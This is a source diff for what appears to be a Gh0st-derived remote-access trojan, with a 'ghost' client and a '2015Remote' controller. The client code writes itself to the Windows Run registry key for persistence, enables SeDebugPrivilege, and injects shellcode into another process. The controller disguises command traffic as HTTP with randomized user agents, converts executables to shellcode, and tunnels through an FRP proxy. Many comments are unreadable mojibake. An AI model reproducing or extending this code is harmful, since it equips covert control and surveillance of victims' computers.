+	// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
+#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
+
+	// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
+	HKEY hKey = NULL;
+	LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
+
+	// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
+	if (lRet != ERROR_SUCCESS)
+		return FALSE;
+
+	lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
+
+	// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
+	RegCloseKey(hKey);
+
+	// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
+	return lRet == ERROR_SUCCESS;
+}
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -172,6 +172,7 @@
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="..\common\ikcp.c" />
+    <ClCompile Include="..\common\zstd_wrapper.c" />
    <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
    <ClCompile Include="Audio.cpp" />
    <ClCompile Include="AudioManager.cpp" />
@@ -206,9 +207,11 @@
  <ItemGroup>
    <ClInclude Include="..\common\ikcp.h" />
    <ClInclude Include="..\common\mask.h" />
+    <ClInclude Include="..\common\zstd_wrapper.h" />
    <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
    <ClInclude Include="Audio.h" />
    <ClInclude Include="AudioManager.h" />
+    <ClInclude Include="auto_start.h" />
    <ClInclude Include="Buffer.h" />
    <ClInclude Include="CaptureVideo.h" />
    <ClInclude Include="Common.h" />
--- a/client/proxy/ProxyManager.cpp
+++ b/client/proxy/ProxyManager.cpp
@@ -18,7 +18,8 @@ CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager
    m_nSend = 0;
    Threads = 0;
    BYTE cmd = COMMAND_PROXY;
-    Send(&cmd, 1);
+    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+    pClient->Send2Server((char*)&cmd, 1, &mask);
    Mprintf("CProxyManager create: %p\n", this);
 }

@@ -43,13 +44,6 @@ CProxyManager::~CProxyManager()
    Mprintf("CProxyManager destroy: %p\n", this);
 }

-int CProxyManager::Send(LPBYTE lpData, UINT nSize)
-{
-    if (!m_bUse) return 0;
-    int ret = CManager::Send(lpData, nSize);
-    return ret;
-}
-
 void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
 {
    lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
--- a/client/proxy/ProxyManager.h
+++ b/client/proxy/ProxyManager.h
@@ -9,7 +9,6 @@ public:
    CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
    virtual ~CProxyManager();
    virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
-    int Send(LPBYTE lpData, UINT nSize);
    void Disconnect(DWORD index);
    void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
    static DWORD __stdcall SocksThread(LPVOID lparam);
--- a/client/test.cpp
+++ b/client/test.cpp
@@ -6,10 +6,12 @@
 #include <common/commands.h>
 #include "common/dllRunner.h"
 #include <common/iniFile.h>
+#include "auto_start.h"
+
 #pragma comment(lib, "ws2_32.lib")

 // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
-#define REG_NAME "a_ghost"
+#define REG_NAME "ClientDemo"

 typedef void (*StopRun)();

@@ -32,60 +34,6 @@ HANDLE hEvent = NULL;

 CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };

-//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
-void DebugPrivilege()
-{
-	HANDLE hToken = NULL;
-	//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
-
-	if( hRet)
-	{
-		TOKEN_PRIVILEGES tp;
-		tp.PrivilegeCount = 1;
-		//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
-		LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
-		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-		//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
-		AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
-
-		CloseHandle(hToken);
-	}
-}
-
-/** 
-* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
-* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
-* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
-* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-*/
-BOOL SetSelfStart(const char *sPath, const char *sNmae)
-{
-	DebugPrivilege();
-
-	// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
-#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
-
-	// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
-	HKEY hKey = NULL;
-	LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
-
-	// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
-	if(lRet != ERROR_SUCCESS)
-		return FALSE;
-
-	lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
-
-	// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
-	RegCloseKey(hKey);
-
-	// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
-	return lRet == ERROR_SUCCESS;
-}
-
 BOOL CALLBACK callback(DWORD CtrlType)
 {
 	if (CtrlType == CTRL_CLOSE_EVENT)
@@ -252,7 +200,8 @@ public:
 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
 int main(int argc, const char *argv[])
 {
-	if(!SetSelfStart(argv[0], REG_NAME))
+	BOOL ok = SetSelfStart(argv[0], REG_NAME);
+	if(!ok)
 	{
 		Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
 	}
@@ -279,7 +228,7 @@ int main(int argc, const char *argv[])
 		do {
 			if (sizeof(void*) == 4) // Shell code is 64bit
 				break;
-			if (!(pid = inj.InjectProcess(nullptr))) {
+			if (!(pid = inj.InjectProcess(nullptr, ok))) {
 				break;
 			}
 			HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
--- a/common/commands.h
+++ b/common/commands.h
@@ -563,6 +563,12 @@ enum ProtocolEncType {
 	PROTOCOL_HELL = 1,
 };

+enum ClientCompressType {
+	CLIENT_COMPRESS_NONE = 0,
+	CLIENT_COMPRESS_UPX = 1,
+	CLIENT_COMPRESS_SC = 2,
+};
+
 #pragma pack(push, 4)
 // <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
 typedef struct CONNECT_ADDRESS
@@ -790,6 +796,13 @@ typedef struct  LOGIN_INFOR
 	}
 }LOGIN_INFOR;

+inline uint64_t GetUnixMs() {
+	auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
+		std::chrono::system_clock::now()
+		);
+	return system_ms.time_since_epoch().count();
+}
+
 // <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
 typedef struct Heartbeat
 {
@@ -803,10 +816,7 @@ typedef struct Heartbeat
 		memset(this, 0, sizeof(Heartbeat));
 	}
 	Heartbeat(const std::string& s, int ping = 0) {
-		auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
-			std::chrono::system_clock::now()
-			);
-		Time = system_ms.time_since_epoch().count();
+		Time = GetUnixMs();
 		strcpy_s(ActiveWnd, s.c_str());
 		Ping = ping;
 		memset(Reserved, 0, sizeof(Reserved));
@@ -827,7 +837,8 @@ typedef struct MasterSettings {
 	int         Is64Bit;                    // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
 	char        MasterVersion[12];          // <20><><EFBFBD>ذ汾
 	int			DetectSoftware;				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	char        Reserved[476];              // Ԥ<EFBFBD><EFBFBD>
+	int			UsingFRPProxy;				// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
+	char        Reserved[472];              // Ԥ<><D4A4>
 }MasterSettings;

 // 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
--- a/common/location.h
+++ b/common/location.h
@@ -183,22 +183,28 @@ public:

 	// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
 	std::string getPublicIP() {
+		clock_t t = clock();
 		HINTERNET hInternet, hConnect;
 		DWORD bytesRead;
 		char buffer[1024] = { 0 };

 		hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
-		if (!hInternet) return "";
+		if (!hInternet) {
+			Mprintf("getPublicIP failed cost %d ms.\n", clock() - t);
+			return "";
+		}

 		hConnect = InternetOpenUrl(hInternet, "https://api.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
 		if (!hConnect) {
 			InternetCloseHandle(hInternet);
+			Mprintf("getPublicIP failed cost %d ms.\n", clock() - t);
 			return "";
 		}

 		InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
 		InternetCloseHandle(hConnect);
 		InternetCloseHandle(hInternet);
+		Mprintf("getPublicIP succeed cost %d ms.\n", clock() - t);

 		return std::string(buffer);
 	}
--- a/common/locker.h
+++ b/common/locker.h
@@ -89,7 +89,9 @@ public:
 // 智能计时器，计算函数的耗时
 class auto_tick {
 private:
+	const char* file;
 	const char* func;
+	int line;
 	int span;
 	clock_t tick;
 	__inline clock_t now() const {
@@ -100,7 +102,8 @@ private:
 	}

 public:
-	auto_tick(const char* func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
+	auto_tick(const char* file_name, const char* func_name, int line_no, int th = 5) : 
+		file(file_name), func(func_name), line(line_no), span(th), tick(now()) { }
 	~auto_tick() {
 		stop();
 	}
@@ -108,7 +111,11 @@ public:
 	__inline void stop() {
 		if (span != 0) {
 			int s(this->time());
-			if (s > span)Mprintf("[%s] cost: [%d]ms.\n", func, s);
+			if (s > span) {
+				char buf[1024];
+				sprintf_s(buf, "%s(%d) : [%s] cost [%d]ms.\n", file, line, func, s);
+				OutputDebugStringA(buf);
+			}
 			span = 0;
 		}
 	}
@@ -116,7 +123,7 @@ public:

 #ifdef _DEBUG
 // 智能计算当前函数的耗时，超时会打印
-#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
+#define AUTO_TICK(thresh) auto_tick TICK(__FILE__, __FUNCTION__, __LINE__, thresh)
 #define STOP_TICK TICK.stop()
 #else
 #define AUTO_TICK(thresh)
--- a/common/mask.h
+++ b/common/mask.h
@@ -11,6 +11,8 @@ enum PkgMaskType {
 	MaskTypeNum,
 };

+#define DEFAULT_HOST "example.com"
+
 inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
 	const char* header_end_mark = "\r\n\r\n";
 	const ULONG mark_len = 4;
@@ -49,7 +51,7 @@ public:
    virtual ULONG UnMask(char* src, ULONG srcSize) {
        return 0;
    }
-    virtual void SetServer(const char* addr) {}
+    virtual PkgMask* SetServer(const std::string& addr) { return this; }
    virtual PkgMaskType GetMaskType() const {
        return MaskTypeNone;
    }
@@ -65,13 +67,17 @@ public:
     * @brief 构造函数
     * @param host HTTP Host 头字段
     */
-    explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) {
+    explicit HttpMask(const std::string& host, const std::map<std::string, std::string>& headers = {}) : 
+        product_(GenerateRandomString()), host_(host) {
        // 初始化随机数生成器
        srand(static_cast<unsigned>(time(nullptr)));
        char buf[32];
        sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
        version_ = buf;
        user_agent_ = GetEnhancedSystemUA(product_, version_);
+		for (std::map<std::string, std::string>::const_iterator it = headers.begin(); it != headers.end(); ++it) {
+            headers_ += it->first + ": " + it->second + "\r\n";
+		}
    }

    /**
@@ -89,7 +95,7 @@ public:
            "Host: " + host_ + "\r\n"
            "User-Agent: " + user_agent_ + "\r\n"
            "Content-Type: application/octet-stream\r\n"
-            "Content-Length: " + std::to_string(srcSize) + "\r\n"
+            "Content-Length: " + std::to_string(srcSize) + "\r\n" + headers_ +
            "Connection: keep-alive\r\n"
            "\r\n";  // 空行分隔头部和 Body

@@ -112,8 +118,9 @@ public:
        return UnMaskHttp(src, srcSize);
    }

-    void SetServer(const char* addr) {
+    PkgMask* SetServer(const std::string& addr) override {
        host_ = addr;
+        return this;
    }
 private:
    static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
@@ -144,6 +151,7 @@ private:
    std::string product_;   // 产品名称
    std::string version_;   // 产品版本
    std::string user_agent_;// 代理名称
+    std::string headers_;   // 自定义请求头

    /** 生成随机 URL 路径 */
    std::string GenerateRandomString(int size = 8) const {
--- a/common/zstd_wrapper.c
+++ b/common/zstd_wrapper.c
@@ -0,0 +1,42 @@
+#include "zstd_wrapper.h"
+#include <string.h> // memcpy
+
+size_t zstd_compress_auto(
+    ZSTD_CCtx* cctx,
+    void* dst, size_t dstCapacity,
+    const void* src, size_t srcSize,
+    size_t threshold
+) {
+    // 检查输入有效性
+    if (!cctx || !dst || !src) {
+        return ZSTD_error_GENERIC;
+    }
+
+    // --- 小数据或库不支持多线程 → 退回到单线程 ZSTD_compress2 ---
+    if (srcSize < threshold) {
+        return ZSTD_compress2(cctx, dst, dstCapacity, src, srcSize);
+    }
+
+    // --- 多线程流式压缩 ---
+    ZSTD_inBuffer  input  = {src, srcSize, 0};
+    ZSTD_outBuffer output = {dst, dstCapacity, 0};
+
+    // 循环压缩输入数据
+    size_t ret = 0;
+    while (input.pos < input.size) {
+        ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_continue);
+        if (ZSTD_isError(ret)) break;
+        
+        // 输出缓冲区已满（理论上不应发生，因 dstCapacity >= ZSTD_compressBound）
+        if (output.pos == output.size) {
+            return ZSTD_error_dstSize_tooSmall;
+        }
+    }
+
+    // 结束压缩（确保所有线程完成）
+    if (!ZSTD_isError(ret)) {
+        ret = ZSTD_compressStream2(cctx, &output, &input, ZSTD_e_end);
+    }
+
+    return ZSTD_isError(ret) ? ret : output.pos;
+}
--- a/common/zstd_wrapper.h
+++ b/common/zstd_wrapper.h
@@ -0,0 +1,31 @@
+#ifndef ZSTD_WRAPPER_H
+#define ZSTD_WRAPPER_H
+
+#include "zstd/zstd.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * 智能压缩函数（自动选择单线程/多线程）
+ * @param cctx      压缩上下文（需提前创建）
+ * @param dst       输出缓冲区
+ * @param dstCapacity 输出缓冲区大小
+ * @param src       输入数据
+ * @param srcSize   输入数据大小
+ * @param threshold 触发多线程的最小数据大小（建议 >= 1MB）
+ * @return          压缩后的数据大小（错误码通过 ZSTD_isError() 检查）
+ */
+size_t zstd_compress_auto(
+    ZSTD_CCtx* cctx,
+    void* dst, size_t dstCapacity,
+    const void* src, size_t srcSize,
+    size_t threshold
+);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // ZSTD_WRAPPER_H
--- a/server/2015Remote/2015Remote.rc
+++ b/server/2015Remote/2015Remote.rc
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -65,7 +65,7 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
 	{"操作系统",		120	},
 	{"CPU",				80	},
 	{"摄像头",			70	},
-	{"PING",			70	},
+	{"RTT",				70	},
 	{"版本",			90	},
 	{"安装时间",        120 },
 	{"活动窗口",		140 },
@@ -302,6 +302,28 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
 	return result;
 }

+std::string GetParentDir()
+{
+	char exePath[MAX_PATH];
+	GetModuleFileNameA(NULL, exePath, MAX_PATH);
+
+	std::string path(exePath);
+
+	// 找到最后一个反斜杠，得到程序目录
+	size_t pos = path.find_last_of("\\/");
+	if (pos != std::string::npos) {
+		path = path.substr(0, pos); // 程序目录
+	}
+
+	// 再往上一级
+	pos = path.find_last_of("\\/");
+	if (pos != std::string::npos) {
+		path = path.substr(0, pos);
+	}
+
+	return path;
+}
+
 CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
 {
 	auto s = GetMasterHash();
@@ -342,6 +364,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
 	GET_FILEPATH(path, "Plugins");
 	m_DllList = ReadAllDllFilesWindows(path);
 	m_tinyDLL = NULL;
+	auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
+	m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
 }


@@ -674,6 +698,12 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
 }

 LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam) {
+	if (wParam && !lParam) {
+		CString* text = (CString*)wParam;
+		ShowMessage("提示信息", *text);
+		delete text;
+		return S_OK;
+	}
 	std::string pwd = THIS_CFG.GetStr("settings", "Password");
 	if (pwd.empty())
 		ShowMessage("授权提醒", "程序可能有使用限制，请联系管理员请求授权");
@@ -691,6 +721,7 @@ LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam) {

 VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
 {
+	AUTO_TICK(200);
 	CTime Timer = CTime::GetCurrentTime();
 	CString strTime= Timer.Format("%H:%M:%S");

@@ -710,15 +741,16 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)

 LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
 	CString* text = (CString*)wParam;
-	CString err = *text;
-	delete text;
+	CString* title = (CString*)lParam;

 	CTime Timer = CTime::GetCurrentTime();
 	CString strTime = Timer.Format("%H:%M:%S");

-	m_CList_Message.InsertItem(0, "操作错误");
+	m_CList_Message.InsertItem(0, title ? *title : "操作错误");
 	m_CList_Message.SetItemText(0, 1, strTime);
-	m_CList_Message.SetItemText(0, 2, err);
+	m_CList_Message.SetItemText(0, 2, text ? *text : "内部错误");
+	delete title;
+	delete text;

 	return S_OK;
 }
@@ -726,14 +758,16 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
 extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, 
 	LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);

-bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
+bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength, bool align=false) {
 	if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
 		LPSTR finalShellcode = NULL;
 		DWORD finalSize;
 		if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, &finalShellcode, &finalSize)) {
 			return false;
 		}
-		compressedBuffer = new BYTE[finalSize];
+		int padding = align ? ALIGN16(finalSize) - finalSize : 0;
+		compressedBuffer = new BYTE[finalSize + padding];
+		memset(compressedBuffer + finalSize, 0, padding);
 		ulTotalSize = finalSize;

 		memcpy(compressedBuffer, finalShellcode, finalSize);
@@ -899,8 +933,19 @@ bool IsFunctionReallyHooked(const char* dllName, const char* funcName)

 BOOL CMy2015RemoteDlg::OnInitDialog()
 {
+	AUTO_TICK(500);
 	CDialogEx::OnInitDialog();

+	// Grid 容器
+	int size = THIS_CFG.GetInt("settings", "VideoWallSize");
+	size = max(size, 1);
+	if (size > 1) {
+		m_gridDlg = new CGridDialog();
+		m_gridDlg->Create(IDD_GRID_DIALOG, GetDesktopWindow());
+		m_gridDlg->ShowWindow(SW_HIDE);
+		m_gridDlg->SetGrid(size, size);
+	}
+
 	if (!IsPwdHashValid()) {
 		THIS_CFG.SetStr("settings", "superAdmin", "");
 		THIS_CFG.SetStr("settings", "Password", "");
@@ -1003,13 +1048,10 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
 		m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
 	}
 	const std::string method = THIS_CFG.GetStr("settings", "UDPOption", "0");
-	if (!Activate(nPort, m_nMaxConnection, method)){
-		OnCancel();
-		return FALSE;
-	}
 	int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
 	int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
-	m_settings = { m, sizeof(void*) == 8, __DATE__, n };
+	int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
+	m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
 	std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
 	std::string str = myMap[n];
 	LVCOLUMN lvColumn;
@@ -1030,26 +1072,37 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
 #else
 	SetTimer(TIMER_CHECK, max(1, tm) * 60 * 1000, NULL);
 #endif
-	IPConverter cvt;
-	CString tip = !ip.empty() && ip != cvt.getPublicIP() ? 
-		CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
-		"请设置\"公网IP\"，或使用反向代理服务器的IP";
-	ShowMessage("使用提示", tip);

-#ifdef _WIN64
-	if (!master.empty()) {
-		int use = THIS_CFG.GetInt("frp", "UseFrp");
-		if (use) {
 	m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
+
+	// 最后启动SOCKET
+	if (!Activate(nPort, m_nMaxConnection, method)) {
+		OnCancel();
+		return FALSE;
 	}
-	}
-#endif
+	THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));

 	return TRUE;  // 除非将焦点设置到控件，否则返回 TRUE
 }

 DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param){
 	CMy2015RemoteDlg* This = (CMy2015RemoteDlg*)param;
+	IPConverter cvt;
+	std::string ip = THIS_CFG.GetStr("settings", "master", "");
+	CString tip = !ip.empty() && ip != cvt.getPublicIP() ?
+		CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP" :
+		"请设置\"公网IP\"，或使用反向代理服务器的IP";
+	This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CString(tip), NULL);
+	int usingFRP = 0;
+#ifdef _WIN64
+	usingFRP = ip.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
+#endif
+	if (!usingFRP) {
+		CloseHandle(This->m_hFRPThread);
+		This->m_hFRPThread = NULL;
+		return 0x20250820;
+	}
+
 	Mprintf("[FRP] Proxy thread start running\n");

 	do 
@@ -1239,21 +1292,12 @@ LRESULT CMy2015RemoteDlg::OnPasswordCheck(WPARAM wParam, LPARAM lParam) {
 	isChecking = true;
 	if (!CheckValid(-1))
 	{
-		CInputDialog dlg(this);
-		dlg.m_str = m_superPass.c_str();
-		dlg.Init("输入密码", "输入主控程序的密码:");
-		dlg.DoModal();
-		if (hashSHA256(dlg.m_str.GetString()) != GetPwdHash()) {
 		KillTimer(TIMER_CHECK);
 		m_nMaxConnection = 2;
 		THIS_APP->UpdateMaxConnection(m_nMaxConnection);
 		int tm = THIS_CFG.GetInt("settings", "Notify", 10);
 		THIS_CFG.SetInt("settings", "Notify", tm - 1);
 	}
-		else {
-			m_superPass = dlg.m_str.GetString();
-		}
-	}
 	isChecking = false;
 	return S_OK;
 }
@@ -1332,6 +1376,7 @@ void CMy2015RemoteDlg::Release(){
 		Sleep(20);

 	THIS_APP->Destroy();
+	SAFE_DELETE(m_gridDlg);
 	g_2015RemoteDlg = NULL;
 	SetEvent(m_hExit);
 	CloseHandle(m_hExit);
@@ -1841,6 +1886,7 @@ std::vector<std::string> splitByNewline(const std::string& input) {

 BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
 {
+	AUTO_TICK(200);
 	UINT ret = 0;
 	if ( (ret = THIS_APP->StartServer(NotifyProc, OfflineProc, nPort, nMaxConnection, method)) !=0 )
 	{
@@ -1912,6 +1958,10 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 		}
 		HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
 		DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
+		if (result == WAIT_FAILED) {
+			DWORD err = GetLastError();
+			Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
+		}
 	}
 	return TRUE;
 }
@@ -1973,12 +2023,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 	if (isClosed) {
 		return;
 	}
+	clock_t tick = clock();
 	unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
 	unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
-
+	// 【L】：主机上下线和授权
+	// 【x】：对话框相关功能
 	switch (cmd)
 	{
-	case TOKEN_GETVERSION: // 获取版本
+	case TOKEN_GETVERSION: // 获取版本【L】
 	{
 		// TODO 维持心跳
 		bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
@@ -1992,7 +2044,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 		SAFE_DELETE_ARRAY(resp);
 		break;
 	}
-	case CMD_AUTHORIZATION: // 获取授权
+	case CMD_AUTHORIZATION: // 获取授权【L】
